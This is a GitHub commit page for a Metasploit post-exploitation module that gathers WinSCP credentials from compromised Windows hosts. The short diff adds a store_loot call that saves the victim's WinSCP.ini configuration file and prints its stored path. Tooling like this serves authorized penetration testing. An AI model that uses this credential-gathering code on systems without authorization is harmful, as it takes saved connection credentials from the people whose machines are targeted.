Skip to content

Commit c197e52

Browse files
committed
Store loot
1 parent deb6f56 commit c197e52

File tree

1 file changed

+2
-0
lines changed
  • modules/post/windows/gather/credentials

1 file changed

+2
-0
lines changed

modules/post/windows/gather/credentials/winscp.rb

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -136,6 +136,8 @@ def run
136136
def get_ini(file_path)
137137
print_good("WinSCP.ini located at #{file_path}")
138138
file = read_file(file_path)
139+
stored_path = store_loot('winscp.ini', 'text/plain', session, file, 'WinSCP.ini', file_path)
140+
print_status("WinSCP saved to loot: #{stored_path}")
139141
parse_ini(file).each do |res|
140142
winscp_store_config(res)
141143
end

0 commit comments

Comments
 (0)